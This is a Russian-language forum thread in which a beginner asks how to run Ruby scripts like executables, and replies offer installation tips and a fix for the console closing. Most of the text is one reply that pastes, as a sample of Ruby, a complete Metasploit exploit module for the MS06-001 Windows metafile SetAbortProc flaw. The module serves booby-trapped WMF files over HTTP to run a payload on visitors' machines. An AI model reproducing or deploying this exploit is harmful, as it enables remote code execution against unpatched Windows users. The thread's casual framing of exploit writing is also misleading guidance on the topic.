Всем привет,я пока ламер,но начал учить язык RUBY - если есть кто-нибудь ещё кто о таком слышал,то подскажите как запустить программу ***.rb (расширение RUBY) =(
Вот что я нашел на Викепедии... Зайди _http://ru.wikibooks.org/wiki/Ruby#.D0.9D.D0.B0.D1.87.D0.B0.D0.BB.D0.BE_.D1.80.D0.B0.D0.B1.D0.BE.D1.82.D1.8B и посмотри сам, очень много интересного.
не правильно задал вопрос,сорри. Я имел ввиду можно ли запустить **.rb как обычную прогу ехе? Потомучто если двойным щелчком rb запустить то появляется консоль и тутже исчезает=(Но если через консоль запускать то работает.У меня пока первые программки они только консольные,типа привет как тебя зовут.
Зачем тебе этот язык? Он сейчас не востребован, я про него первый раз слышу... Бери лучше учебники по си или Дельфи и учи их
Эксплоиты для Metasploit Framework 3.0 пишутся на Ruby, как exe запустить нельзя, так как нужен сам интерпретатор, а компилятора имхо нет...
Ну вот тогда глянь к примеру: PHP: require 'msf/core' module Msf class Exploits::Windows::Browser::MS06_001_WMF_SETABORTPROC < Msf::Exploit::Remote # # This module acts as an HTTP server # include Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution', 'Description' => %q{ This module exploits a vulnerability in the GDI library included with Windows XP and 2003. This vulnerability uses the 'Escape' metafile function to execute arbitrary code through the SetAbortProc procedure. This module generates a random WMF record stream for each request. }, 'License' => MSF_LICENSE, 'Author' => [ 'hdm', 'san <[email protected]>', '[email protected]', ], 'Version' => '$Revision: 3906 $', 'References' => [ ['MSB', 'MS06-001'], ['BID', '16074'], ['CVE', '2005-4560'], ['OSVDB', '21987'], ['MIL', '111'], ['URL', 'http://www.microsoft.com/technet/security/advisory/912840.mspx'], ['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'], ['URL', 'http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 1000 + (rand(256).to_i * 4), 'BadChars' => "\x00", 'Compat' => { 'ConnectionType' => '-find', }, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP/2003/Vista Automatic', { }], ], 'DisclosureDate' => 'Dec 27 2005', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) ext = 'wmf' if (not request.uri.match(/\.wmf$/i)) html = "<html><meta http-equiv='refresh' content='0; URL=" + get_resource + '/' + Rex::Text.rand_text_alphanumeric(rand(80)+16) + ".#{ext}'><body>One second please...</body></html>" send_response(cli, html) return end # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the compressed response to the client send_response(cli, generate_metafile(p), { 'Content-Type' => 'text/plain' }) handler(cli) end def generate_metafile(payload) # Minimal length values before and after the Escape record pre_mlen = 1440 + rand(8192) suf_mlen = 128 + rand(8192) # Track the number of generated records fill = 0 # The prefix and suffix buffers pre_buff = '' suf_buff = '' # Generate the prefix while (pre_buff.length < pre_mlen) pre_buff << generate_record() fill += 1 end # Generate the suffix while (suf_buff.length < suf_mlen) suf_buff << generate_record() fill += 1 end clen = 18 + 8 + 6 + payload.encoded.length + pre_buff.length + suf_buff.length data = # # WindowsMetaHeader # [ # WORD FileType; /* Type of metafile (1=memory, 2=disk) */ rand(2)+1, # WORD HeaderSize; /* Size of header in WORDS (always 9) */ 9, # WORD Version; /* Version of Microsoft Windows used */ ( rand(2).to_i == 1 ? 0x0300 : 0x0100 ), # DWORD FileSize; /* Total size of the metafile in WORDs */ clen/2, # WORD NumOfObjects; /* Number of objects in the file */ rand(0xffff), # DWORD MaxRecordSize; /* The size of largest record in WORDs */ rand(0xffffffff), # WORD NumOfParams; /* Not Used (always 0) */ rand(0xffff), ].pack('vvvVvVv') + # # Filler data # pre_buff + # # StandardMetaRecord - Escape() # [ # DWORD Size; /* Total size of the record in WORDs */ 4, # WORD Function; /* Function number (defined in WINDOWS.H) */ (rand(256).to_i << 8) + 0x26, # WORD Parameters[]; /* Parameter values passed to function */ 9, ].pack('Vvv') + payload.encoded + # # Filler data # suf_buff + # # Complete the stream # [3, 0].pack('Vv') + # # Some extra fun padding # Rex::Text.rand_text(rand(16384)+1024) return data end def generate_record type = rand(3) case type when 0 # CreatePenIndirect return [8, 0x02fa].pack('Vv') + Rex::Text.rand_text(10) when 1 # CreateBrushIndirect return [7, 0x02fc].pack('Vv') + Rex::Text.rand_text(8) else # Rectangle return [7, 0x041b].pack('Vv') + Rex::Text.rand_text(8) end end end end
http://www.opennet.ru/base/dev/ruby_quickstart.txt.html "Для установки в Windows достаточно скачать один из вариантов Ruby с http://ftp.ruby-lang.org/pub/ruby/binaries/ можно- mswin32/ruby-1.8.1-20040402-i386-mswin32.zip). Распаковать и проставить правильно пути к директориям. Можно также воспользоваться пакетом автоматической установки RubyInstaller (http://rubyforge.org/projects/rubyinstaller). Определить правильность установки поможет команда C:\>ruby --help" (c) Неткачев Сам знаю, что язык хорош для написания эксплоитов. Интерпретируемый язык, типы переменных как в пхп, объектно-ориентированная парадигма. Не кодил на нем, но слышал хорошие отзывы.
превед, ламер! похвально твоё увлечение... встречала интересные скрипты на рубине ) данный скриптовый язык, насколько я знаю, популярен в среде маков ) на нем где-то видела даже вирусы )
Руби, сильная штука щас пишу на нем и да простят меня господа пхп-шники, Ruby On Rails - рулит... Все доводы по поводу скорости интерпретатора, уже не актуальны, руби 2.0 уже компилируется в байт код как и Питон и Ява. самый крупный известный мне проект на RoR - www.dandelife.com
в байт код кстати и перл тоже можно загнать ) это так к сведению )) хотя читала по версии 5.6 что функция ByteCode тестится.... хз как по 5.8 ...
например в паскале чтоб консольная прога не закрывалась сразуже в конце проги пишут Readln тобиш просит прочитать символ и после нажатия ентер прга закрываеться. Если в рубу есть такая функция то добавь в конец программы и да будет тебе щастя